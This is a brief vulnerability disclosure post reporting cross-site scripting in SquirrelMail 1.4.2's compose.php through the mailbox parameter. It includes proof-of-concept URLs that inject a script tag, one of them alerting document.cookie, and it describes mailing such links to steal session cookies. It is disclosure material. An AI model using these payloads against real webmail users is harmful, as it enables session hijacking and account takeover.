SquirrelMail latest version (although is tested on version 1.4.2) is prone to many cross scripting attacks that can be used to steal user cookies.The Exploit lies in the way squirrel mail represents the folder names and shows them.To make the matters worse.No extra unique variable added to the url for each user therefore it is easy for the attacker to just pass the url in mail and steal the session cookie.

Some of the exploit are at :

https://victim.com/mail/src/compose.php?mailbox=INBOX

which can be replaced as follows

https://victim.com/mail/src/compose.php?mailbox="><script>malacious script</script>

Example:

https://victim.com/mail/src/compose.php?mailbox="><script>window.alert(document.cookie)</script>

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Squirrel Mail Coders have been informed of this vulnerability but the vulnerability still exists in their latest version.

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Please Let me know if i am wrong anywhere...

Regards,
Alvin